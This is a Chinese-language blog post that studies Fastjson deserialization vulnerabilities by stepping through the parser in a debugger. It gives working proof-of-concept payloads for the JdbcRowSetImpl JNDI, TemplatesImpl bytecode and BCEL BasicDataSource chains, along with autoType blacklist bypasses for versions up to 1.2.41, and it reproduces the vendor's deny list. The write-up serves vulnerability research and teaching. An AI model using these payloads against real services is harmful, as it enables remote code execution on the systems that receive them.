# 前言
Fastjson 漏洞从 17 年爆出来到现在 6 年的时间,早已经不是一个新鲜的东西,但是还是比较多的,网上各个师傅们的各种记录我也看的算是比较多了,这里也简单记录一下,跟踪一下各个利用链和原理,本篇中所涉及的代码都在 https://github.com/clown-q/Clown_java 中
# Fastjson
还是老规矩,首先来说明一下什么是 Fastjson,Fastjson 是一个阿里巴巴的一个 Java 库,根据阿里巴巴 fastjson 项目中的介绍,这个 java 库 “可用于将 Java 对象转换为其 JSON 表示形式。它还可用于将 JSON 字符串转换为等效的 Java 对象。Fastjson 可以使用任意 Java 对象, 包括您没有源代码的预先存在的对象
”。
项目地址:阿里巴巴 / FASTJSON (github.com)
导入 maven 依赖,这里使用的是最开始官方主动爆出漏洞的版本
<!--fastjson--> | |
<dependency> | |
<groupId>com.alibaba</groupId> | |
<artifactId>fastjson</artifactId> | |
<version>1.2.24</version> | |
</dependency> |
这样就可以开始使用 fastjson 了,常用的有两种处理 JSON 的方法
JSON.parseObject()
方法:将JSON
字符串转换成对象。JSON.toJSONString()
方法:可将对象转换成JSON
字符串
下面通过一个简单的例子来展示一下两个 方法的使用
public class Test { | |
private String name; | |
private int age; | |
public Test() { | |
// 必须有无参的构造方法,以便 JSON 库能够实例化对象 | |
System.out.println("构造方法"); | |
} | |
public String getName() { | |
System.out.println("getName"); | |
return name; | |
} | |
public int getAge() { | |
System.out.println("getAge"); | |
return age; | |
} | |
public void setName(String name) { | |
System.out.println("setName"); | |
this.name = name; | |
} | |
public void setAge(int age) { | |
System.out.println("setAge"); | |
this.age = age; | |
} | |
@Override | |
public String toString() { | |
return "Test{" + | |
"name='" + name + '\'' + | |
", age=" + age + | |
'}'; | |
} | |
} |
上面这段代码是测试类,然后下面是 JSON.parseObject () 方法的 demo
public class FastjsonTest { | |
public static void main(String[] args) { | |
String str = "{\"name\":\"aaa\",\"age\":18}"; | |
Test test = JSON.parseObject(str, Test.class); | |
System.out.println(test.toString()); | |
} | |
} |
可以看到这里实际上是调用了两个 set 方法来将 JSON 字符串解析为 Java 对象,下面是 JSON.toJSONString 方法的 demo
public class FastjsonTest { | |
public static void main(String[] args) { | |
// String str = "{\"name\":\"aaa\",\"age\":18}"; | |
// Test test = JSON.parseObject(str, Test.class); | |
// System.out.println(test.toString()); | |
Test test = new Test(); | |
String str = JSON.toJSONString(test); | |
System.out.println(str); | |
} | |
} |
这里可以看到实际上它调用了两个对应的 get 方法
# 漏洞产生根源
在 Fastjson 中,我们可以使用 @type 来指定一个类,像下面这种写法
{"@type":"Fastjson.Test"} |
接着看下面这个例子
public class FastjsonTest { | |
public static void main(String[] args) { | |
String str = "{\"@type\":\"Fastjson.Test\",\"name\":\"aaa\",\"age\":18}"; | |
JSONObject jsonObject = JSON.parseObject(str); | |
System.out.println(jsonObject.toString()); | |
} | |
} |
这里指定的类还是上面使用过的 test 类
在这个过程中,它将类的构造方法和 set,get 方法都调用了一遍,其实漏洞点就已经很明显了,如果在这个 JSON 接口传入恶意的 JSON,就可以调用任意类的构造方法已经相关的 set 和 get 方法。
# 调试分析
先扔张流程图
这里简单调试一下,看一下 set、get 方法是怎么被调用的
在这个位置下一个断点
因为这里只传入了一个字符串,所以这里调用了一个参数类型为 String 的 parseObject 方法
在当前类中,接收不同参数的同名方法其实很多,在当前方法中会首先调用一个 parse 方法解析,然后得到一个 Object,这里跟进看一下
调用了本类的同名方法
这里判断一下传入的字符串是否为空,如果为空直接返回 null,如果非空,会选用一个解析器,然后接着调用 parse 方法,我们跟进到这个 parse 方法
这里可以看到走到了 DefaultJSONParser 的 parse 方法里,在该方法中使用了一个 switch 来做一个匹配
传入的第一个字符是 {,这里会创建一个新的 JSONObject 对象,然后调用了一个 parseObject 方法
这个方法中的代码很长,这里就不贴出来了,穿插着说一下整个方法的逻辑
主要的代码就是这个 try 语句中的这个死循环
这里第一个 if 实际上是为了在启用特定特性的情况下,允许 JSON 数据中存在额外的逗号,并在解析时跳过这些额外的逗号,以提高鲁棒性。
这个 if 识别了一个双引号,然后获取到下一个双引号之间的值,就是获取 key 的值
获取完值后会进行一个判断,这里可以看到 JSON.DEFAULT_TYPE_KEY 实际上就是 @type,这里也是我们需要关注的点
这里会使用 loadclass 去加载这个类,这里跟进一下
这里可以看到,首先他会从缓存里面去找,如果没找到会进行其他的处理
然后可以看到,这里实际上就已经加载目标类到缓存中了
最后这里先获取反序列化器,然后通过其来反序列化,这里跟进一下这里获取反序列化器的方法
这里是通过缓存表去找,在 ParserConfig 的构造方法里会对应一下内置类的反序列化器
因为这里是我们自己写的类,所以这里去缓存表里是查不到的
这里就会调用到 getDeserializer 方法
然后再这个方法中会各种匹配,这里说起来也比较麻烦,直接得到结论就是
这里是创建了一个 Javabean 反序列化器,这里跟进该方法
又是一段很长的代码逻辑,这里会首先判断是否启用了 asm 字节码生成和优化,然后判断是不是有自定义的序列化器等等一些判断,这些判断都不是我们关注的重点,我们直接看下面这个地方
这是方法实际上是为了获取目标类的一些信息,这里就是比较重要的一块内容,我们跟进到这个方法中
这里通过 getDeclaredFields 方法获取目标类的所有字段,通过 getMethods 获取所有的方法名,通过 getDefaultConstructor 获取默认的构造方法
然后就是对默认构造方法的一些判断,这里不重要,接着往下看后面对于方法的一些判断
可以看到这里有三个循环,遍历了两遍 method,先看第一遍
很显然这里是为了找到所有的 set 方法,这里其实是为了获取字段,这里将这些判断条件简单的总结一下
methodName.length() < 4
:跳过方法名长度小于 4 的方法,以排除非 setter 方法。Modifier.isStatic(method.getModifiers())
:跳过静态方法。!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))
:跳过返回类型不是void
或者返回类型与声明的类不同的方法。types.length != 1
:跳过参数个数不为 1 的方法。annotation.deserialize() == false
:跳过标记了JSONField
注解且deserialize
属性为false
的方法。methodName.startsWith("set")
:只处理以 "set" 开头的方法,这是通常用于 setter 方法的命名规范。
判断结束后创建一个 FieldInfo
对象,用于表示 JavaBean 类中的一个字段或属性,包括字段的名称、类型、特性等信息,并将该对象添加到 fieldList
列表中。这个列表可能会包含 JavaBean 类中所有要映射的字段信息,以备后续的 JSON 反序列化过程使用
然后第二个 for 循环去遍历所有的 public 字段,这里用的是前面的 test 类,实际上是没有 public 字段的,这里也不是重点
然后这里的第三个 for 循环,它的作用也很明显就是为了找到所有的 get,这里同样简单总结一下
methodName.length() < 4
:跳过方法名长度小于 4 的方法,通常是为了排除不符合 getter 方法命名规范的方法。Modifier.isStatic(method.getModifiers())
:跳过静态方法,因为 getter 方法通常是实例方法。methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))
:检查方法名是否以 "get" 开头且第四个字符是大写字母。这是通常用于 getter 方法的命名规范。method.getParameterTypes().length != 0
:跳过带有参数的方法,因为 getter 方法不应该有参数。- 检查方法的返回类型是否匹配特定类型,如
Collection
、Map
、AtomicBoolean
、AtomicInteger
或AtomicLong
,以确定这个方法可能用于表示 JavaBean 类中的属性。 - 检查
fieldList
中是否已经存在同名的属性,以避免重复添加。
最后调用够着函数,这里他的 fieldList 如下图
到这里类的信息就获取完了
这里获取完目标类的信息,赋值给 beanInfo,然后后面是一些判断,决定了 asmEnables 是否打开
一系列的判断后,会根据这个 asmRnable 是否开启来判断一些操作,如果 asmEnale 是关闭的机会创建一个 JavaBeanDeserializer,这个是内置的一个 Deserializer
否则,它会再一次调用 build 方法,然后用 asm 创建一个反序列化器,这里反序列化器算是有了
但是当前这个例子的反序列化器没法调试,因为这里是一个临时创建的类
# 解决不能调试问题
所以这里很显然就不能用 asm 创建反序列化器,所以就要将 asmRnable 开关打开
在前面 asmEnable 的开关判断中有这样一个判断,这里要有一个 getOnly 的方法,这里其实在前面方法遍历 add 的过程中也是有的
这里可以看到,要满足参数值不为一的一个方法,所以这里肯定不能是 set 方法,所以就只能是 get 方法,这里改一下 Test 类
public class Test { | |
private String name; | |
private int age; | |
private Map map; | |
public Test() { | |
// 必须有无参的构造方法,以便 JSON 库能够实例化对象 | |
System.out.println("构造方法"); | |
} | |
public String getName() { | |
System.out.println("getName"); | |
return name; | |
} | |
public int getAge() { | |
System.out.println("getAge"); | |
return age; | |
} | |
public void setName(String name) { | |
System.out.println("setName"); | |
this.name = name; | |
} | |
public void setAge(int age) { | |
System.out.println("setAge"); | |
this.age = age; | |
} | |
public Map getMap() { | |
System.out.println("getMap"); | |
return map; | |
} | |
@Override | |
public String toString() { | |
return "Test{" + | |
"name='" + name + '\'' + | |
", age=" + age + | |
'}'; | |
} | |
} |
这里重新调试
一直到这里之前的调试实际上都是一样的,这里就不在赘述,当前是第二次循环遍历所有的方法,可以看到当前是 getMap
这里走到这个 add 方法中,我们跟进 FieldInfo 看一下
前面这些一些赋值,判断就不是很重要
一直到这里,可以看到,定义了一个 getOnly 的字段后,然后就开始判断
这里因为当前的方法是 getMap,没有参数,所以能进 else,然后回将 getOnly 赋值为 ture
这里前面的循环结束就直接出来
跳出到刚刚获取类信息的地方
当遍历 fields 到 map 的时候,在上面我们已经知道,getMap 是有 getOnly 的,所以这里就会将 asmEnable 设置为 false
因此,在这里选择的就是内置的反序列化器,就可以正常调试了
# 调整后的调试
经过前面漫长的调整后,到这里才算是能够正常调试整个过程了,这里来看一下到底是怎么调用的 set 和 get
书接上回,这里使用一个内置的 JavaBeanDeserializer
然后就跳出了这个创建反序列化器的方法(可算出来了)
跳出获取反序列化器的方法,接下来通过这个反序列化器反序列化
这里调用 JavaBeanDeserializer 的 deserialze 方法
实际上是调用了一个 JavaBeanDeserializer 保护方法 deserialze 方法,又是一个很长很长的代码块,前面都是对各种特殊情况的检查
这个 for 循环实际上是遍历所有 JSON 字段并将其映射到 Java 对象上
看到这里,前面经过一系列判断,这里我们并不需要关注,这里有一个 createInstance 创建一个实例,我们跟进看一下
这里会判断类如果是接口就会创建一个动态代理,如果不是接口就会尝试 newInstance
这里看到就会执行这个构造函数
这里跳出来后,接下来就是赋值,这里跟进 setValue 方法
然后就又是各种 if 判断,这里都不用关注
这里可以看到,age 原本的值是 0,然后要赋的值是 18
invoke 后就成功调用了 setAge 方法
这里中间的过程就不在这里记录了,这里是又一次调用了 setValue 方法来设置 name 的值
这里就调用了 setName 方法,到目前为止,所有的 set 方法就都被触触发了
这里跳回到 parseObject 方法中,前面将 JSON 转为对象,最后有调用了一个 toJSON 将对象转为 JSON,get 方法就是这这里被调用的,这里跟进一下
这里还是一些判断,我们往下看
这里要获取字段值映射我们跟进这个方法
然后这里要获取属性值,跟进这个 getPropertyValue 方法
就在这个 get 方法里进行了 invoke
到这样算是真正的调试完了,其实漏洞的根源到这里就很明显了,它会自动调用构造方法,set,get 方法
# demo
这里简单写一个演示
public class demo { | |
private String cmd; | |
public void setCmd(String cmd) throws IOException { | |
this.cmd = cmd; | |
Runtime.getRuntime().exec(this.cmd); | |
} | |
} |
上面写了一个恶意的 set
public class FastjsonTest { | |
public static void main(String[] args) { | |
String str = "{\"@type\":\"Fastjson.demo\",\"cmd\":\"calc\"}}"; | |
JSONObject jsonObject = JSON.parseObject(str); | |
System.out.println(jsonObject.toString()); | |
} | |
} |
# fastjson<=1.2.46 版本复现
# Fastjson<=1.2.24
# JdbcRowSetImpl
在这个类中有这样一个点
如果这里的 getDataSourceName () 可控的话,那么这里将是一个很标准的 JNDI 注入
这里有对应的 get,set 方法,所以这里参数是可控的,利用点就是这里了,接下来找 connet 的调用
这里也只有三个,这里选用 set 这个方法
这里经过一个判断就直接调用了这个方法,看下面这个例子
public class poc24JdbcRowSectimpl { | |
public static void main(String[] args) { | |
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1234/T\",\"AutoCommit\":false}"; | |
JSON.parseObject(str); | |
} | |
} |
这里的 ldap 是前面 JNDI 注入篇中使用到的 JNDI 注入 - java 安全 | Clown の Blog = (xcu.icu)
也或者可以使用 yakit
# 调试
这里就不在从前面 get,set 的调用调试了(上面已经写的很详细的了),直接看后面有关 JdbcRowSetlmapl 的调用
这里将断点下在 setAutoCommit 这里
然后这里就会调用这个 connect 方法
在这个方法中就会走到 JNDI 注入的地方
这里展示一下完整的调用链
# TemplatesImpl
上面的利用很显然是需要出网的情况,这里介绍一种不需要出网的利用方式,这里也不在写一堆废话来引出这个入口,实际上就是在 com.sun.org.apache.xalan.internal.xsltc.trax 类中的 getTransletInstance 方法中
这里有一个 newInstance 方法可以实实例化对象,这里看一下 _class [_transletIndex] 是不是可控的
这里可以看到其实在当前类的 defineTransletClasses 方法中,这里可以看到,这里的_transletIndex 是可以根据_bytecodes 改变的
而在本类下,还有对应的 set 和 get 方法,很显然是可控的,这里我们就需要看一下 defineTransletClasses 方法
首先这里会判断_bytecodes 是否为空,这里可控,所以这里我们可以传入一个恶意的类
_bytecodes 不为空,运行到这里,此时,需要满足_tfactory 变量不为 null,否则导致程序异常退出。
这个成员属性没有对应的 set 和 get 方法,这里需要指定 Feature.SupportNonPublicField 参数来为_tfactory 赋值
把_bytecodes 数组中的值循环取出,使用 loader.defineClass 方法从字节码转化为 Class 对象,随后后赋值给_class [i],如果循环到 main class,就会将_transletIndex 变量值赋值为_bytecodes 数组中的下标值
在回到这个入口类,当前想要执行到 newInstance 方法,只需要_name 不为 null 即可
它有对应的 set 方法,到这里条件就都满足了,然后望上找谁调用了 getTransletInstance 方法
这里实际上就找到一个 newTransformer 中调用了这方法,继续望上找谁调用了这个方法
这里找到,还是在本类中的 getOutputProperties () 方法中调用了 newTransformer () 方法,getOutputProperties () 方法为_outputProperties 成员变量的 getter 方法,调用条件到这里就完全满足了
public class T extends AbstractTranslet { | |
static { | |
try { | |
Runtime.getRuntime().exec("calc"); | |
} catch (IOException e) { | |
throw new RuntimeException(e); | |
} | |
} | |
@Override | |
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { | |
} | |
@Override | |
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { | |
} | |
} |
就一个这样的类,将其编译后将字节码读出并用 base64 加密,作为_bytecodes
public class poc24TemplatesImpl { | |
public static void main(String[] args) throws Exception{ | |
String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANMVDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAZULmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAFUAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAPAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAgAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAAEgAJABUADAATAA0AFAAWABYADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}"; | |
JSON.parse(str, Feature.SupportNonPublicField); | |
} | |
} |
# 调试
还是先放一张流程图
这里我将断点下在 TemplatesImpl 类的 getOutputProperties 方法这里,这个方法就是我们前面找到的那个_outputProperties 成员变量的 getter 方法,跟进到 newTransformer 方法
这里 defineTransletClasses 上面已经解释过,这里就不在看了
这里运行后计算器就直接弹出来了
这里放一下整个调用链
# Bcel
上面这个链虽然说不出网,但是它的利用条件非常苛刻,下面再记录一种稍微常用的一种不出网的利用方式,先看下面这个例子
public class poc24Bcel { | |
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { | |
String classFilePath = "E:\\Python\\B.class"; // 替换为你的类文件路径 | |
// 1. 读取类文件的字节码 | |
FileInputStream fis = new FileInputStream(classFilePath); | |
BufferedInputStream bis = new BufferedInputStream(fis); | |
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | |
int bytesRead; | |
byte[] buffer = new byte[4096]; | |
while ((bytesRead = bis.read(buffer)) != -1) { | |
bos.write(buffer, 0, bytesRead); | |
} | |
bis.close(); | |
// 2. 获取字节码的字节数组 | |
byte[] bytecode = bos.toByteArray(); | |
ClassLoader classLoader = new ClassLoader();// 实例化 Classloader | |
String code = Utility.encode(bytecode,true); | |
classLoader.loadClass("$$BCEL$$"+code).newInstance(); | |
} | |
} |
上面这个例子中,前面的实际上就是获取一个字节码的过程,真正调用的其实是,下面这三行的内容
ClassLoader classLoader = new ClassLoader();// 实例化 Classloader | |
String code = Utility.encode(bytecode,true); | |
classLoader.loadClass("$$BCEL$$"+code).newInstance(); |
这里最后调用的 loadClass 实际上是 com.sun.org.apache.bcel.internal.util.ClassLoader 里的
最后通过这里加载字节码,想要调用到这里,需要 class 文件不为空
Class 是在这里赋值,这里加载的字节码前面需要是 $$BCEL$$,然后调用这个 createClass 方法
这里会有这个 decode 方法,这就全都和上面的吻合上了,现在需要做的就是找一个 get 或者 set 调用到这个 com.sun.org.apache.bcel.internal.util.ClassLoader 里的 Classloader 方法
实际上是找到在 BasicDataSource 这个类中
<dependency> | |
<groupId>org.apache.tomcat</groupId> | |
<artifactId>tomcat</artifactId> | |
<version>9.0.20</version> | |
</dependency> |
这里需要导入一个新的包
就在这里,它可以通过一个 ClassLoader 去加载一个 ClassName,
可以看到 driverClassName 和 driverClassLoader 都有对应的 set 方法,可以通过 Fastjson 特性来控制两个参数,接下来就需要寻找调用到这个 createConnectionFactory 方法的 set 或者 get 方法,也很容易找到,就走了两步
这里是 get 方法会自行调用
public class poc24Bcel { | |
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { | |
String classFilePath = "E:\\Python\\B.class"; // 替换为你的类文件路径 | |
// 1. 读取类文件的字节码 | |
FileInputStream fis = new FileInputStream(classFilePath); | |
BufferedInputStream bis = new BufferedInputStream(fis); | |
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | |
int bytesRead; | |
byte[] buffer = new byte[4096]; | |
while ((bytesRead = bis.read(buffer)) != -1) { | |
bos.write(buffer, 0, bytesRead); | |
} | |
bis.close(); | |
// 2. 获取字节码的字节数组 | |
byte[] bytecode = bos.toByteArray(); | |
// ClassLoader classLoader = new ClassLoader ();// 实例化 Classloader | |
String code = Utility.encode(bytecode,true); | |
// classLoader.loadClass("$$BCEL$$"+code).newInstance(); | |
String str = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; | |
JSON.parseObject(str); | |
} | |
} |
到这里就可以了
# 调试
还是一张流程图
这里我直接将断点下在这里,跟进 createDataSource 方法
然后接着跟进到 createConnectionFactory 方法
接着这里看一下 forname 方法
运行到这里 driverClassName 和 driverClassLoader 的值就已经被改变了
跟进 forName 方法,发现这里调用到 loadClass 方法
这里会经过一系列的判断,在前面已经分析过,最后会走到
调用 defineClass 去加载字节码
这里放一张调用链,分析到这里,实际上这种方法是需要有相关的对应依赖才能使用的
# 修复
从 1.2.25 开始对这个漏洞进行了修复
<dependency> | |
<groupId>com.alibaba</groupId> | |
<artifactId>fastjson</artifactId> | |
<!-- <version>1.2.24</version>--> | |
<version>1.2.25</version> | |
</dependency> |
这里我将 fastjson 版本改为 1.2.25 再次尝试之前的 poc
这里可以看到这里报错,不支持自动键入,简单调试一下
# 调试
还是在这里下断点
跟进到这个 parse 方法
这里也是一样,跟进到这个 parser.parse
第一个字符判断
这里因为是 {所以到这里,接着还是和前面一样,进到 parseObject 方法
第一个引号包裹的是 @type,这里看到多了一个 checkAutoType 方法,根据前面的报错,很显然就是这里的问题,这里进到 checkAutoType 方法
这里可以看到刚刚的报错信息,这里做了一个黑名单校验,这个 denyList 中的内容
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework |
这些类都在黑名单中
在上面还有一个白名单,但是这个白名单是从配置文件中加载的,到这里都是 autoType 开启的状态
如果 autoType 没有开启,会先判断黑名单如果指定类不在黑名单中在做白名单的校验
值得一提的是,后面版本的修复基本都是在对 checkAutotype 方法逻辑漏洞的修复以及黑名单的变化
# 1.2.25<= Fastjson <= 1.2.41 Bypass
# JNI 字段描述符
这里绕过的写法实际上是利用了一种叫做 JNI 字段描述符的东西,它是用于表示 Java 字段类型的标识符,主要用于与本地代码进行交互,其实我在虐心短片之内存管理 - JavaJVM | Clown の Blog = (xcu.icu) 这篇笔记中有简单提到过 JNI,这里简单记录一下 JNI 字段描述符
Java 类型 | JNI 字段描述符 |
---|---|
boolean | Z |
byte | B |
char | C |
short | S |
int | I |
long | J |
float | F |
double | D |
void | V |
引用类型 | L 开始,以 ; 结尾:表示引用类型,其中包括类、接口或数组类型。例如, Ljava/lang/String; 表示一个 String 类型的引用。如果是内部类,添加 $ 符号分隔,例如:Landroid/os/FileUtils$FileStatus;。 |
数组 | [ :表示数组类型。可以与其他描述符结合使用,以表示数组类型的元素类型。例如, [I 表示一个 int 类型的数组。 |
方法 | 使用 () 表示,参数在圆括号里,返回类型在圆括号右侧,例如:(II) Z,表示 boolean func (int i,int j)。 |
# L;
这种绕过的原理也是很简单,有点像是 php 文件上传漏洞中黑名单过滤了 php 但是我使用 php5 绕过这种
public class poc25to41JNI { | |
public static void main(String[] args) { | |
String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | |
JSON.parseObject(str); | |
} | |
} |
很显然我这里做了两点改变,首先是在 com.sun.rowset.JdbcRowSetImpl 前后分别加上的 L ;,然后又通过 ParserConfig.getGlobalInstance ().setAutoTypeSupport (true); 设置了 AutoTypeSupport 为 ture
# 调试
这里还是来调试看一下,它是怎么绕过,又是怎么处理这个 [和;这两个符号的
还是将断点下在这里
这里一路调试到 checkAutoType(前面的流程是没有变化的,这里不在重复记录)
这里我觉得值得注意的也就这三个地方,AutoTypeSupport 是开启的状态,黑名单,以及传入的参数(我们要记在的目标类),首先它判断传入的参数是否为空,这里显然不是,就直接跳过
接着这里进行一个替换,将 typeName
中的 $
替换为 .
,这里是对调用内部类的情况进行一个处理
满足条件 AutoTypeSupport 是开启的状态进入到循环,然后白名单的校验,这里白名单是空的,所以本方法的第一个类加载显然是调用不到
然后是黑名单的校验,这里使用 startsWith 来检查字符串的开头部分,所以这里是不会被黑名单检测出来
这里分别到缓存和 deserializers 中去加载,很显然也是加载不到的
因为类到目前为止都没有加载到而且前面也说到 AutoTypeSupport 是开启的状态,所以这里两个 if 语句都是进不去的
终于在这个方法的最后一处加载的机会这里成功调用了 loadClass 方法,跟进到这个方法
首先尝试在映射中寻找目标类,这里首字符是 L 所以会进入到我打断点的这个 if 语句中,可以看到这里做了一次截取将第一个和最后一个字符去掉,然后调用了一个 loadClass
这里可以看到,已经被正常加载了后面的流程就和前面类加载之后的部分一样了,这里也不在赘述
# [
在上面的调试中,当调试到这里,我发现当第一个字符是 [的时候似乎也有一些处理,这里先通过截取去掉了’[‘,然后调用了 loadClass,然后使用 componentType
创建一个长度为 0 的数组,并获取该数组的 Class
对象。
public class poc25to41JNI { | |
public static void main(String[] args) { | |
// String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | |
JSON.parseObject(str); | |
} | |
} |
这里先使用这个 [尝试一下
# 调试寻找报错原因
这里调试到这个地方,可以看到进入到这个对于 [的判断
这里类加载后是出去 [后的,跟进 newInstance 方法
创建一个长度为 0 的数组就 return 了
调出来后看到这里 clazz 现在是 [com.sun.rowset.jdbcRowSetImpl
这里直接跳出这个方法,其他没有值得要关注的地方
一直走到这个方法,跟进
这里调用的是 ObjectArrayCodec 的 deserialze 方法,很显然是因为前面创建的数组
这进行两次 token 的判断
根据这个表,当前的这个 token 是 16(就是这个类名后面的这个 ","),然后判断是不是 GenericArrayType 的一个实例
这里通过 getComponentType 对类名进行了处理,但是这里是一个本地方法没法调试,这里可以看到处理后去掉了我们加上多余的字符,跟进这个 parseArray 方法
这里可以看到刚刚的报错的内容
当前是 16,这里判断如果不等于 14 就会抛出异常,解决的方式也很简单,在 "," 前面加上 [即可
public class poc25to41JNI { | |
public static void main(String[] args) { | |
// String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | |
JSON.parseObject(str); | |
} | |
} |
又出现了新的报错
# 第二次调试
这里出现了一个报错,在第 43 个位置遇到了一个字符串而不是预期的代码块(花括号 {}
)。简单来所就是花括号成对出现就可以了
这里根据报错直接将这个逗号换为花括号即可
public class poc25to41JNI { | |
public static void main(String[] args) { | |
// String str = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | |
JSON.parseObject(str); | |
} | |
} |
重新调试一下
这里将逗号换为花括号与后面那个花括号匹配后这里不在抛出异常
这里会一直走到这个地方,跟进这个方法
调用 JavaBeanDeserializer 的 deserialze 方法
这里也是看到了刚刚出现报错的地方
这里看一下最外层的判断,如果下一个字符不是,左大括号 {
或逗号 ,
,它会进一步检查是否是空白输入,这里使用 {即可
经过一系列的判断后,实际上是到这个位置
到这里期间的没有别的问题,一路调用
继续跟进
一直到这个方法的 setvalue 方法才算是结束了,后面的就和前面调试过程一样了
# mappings
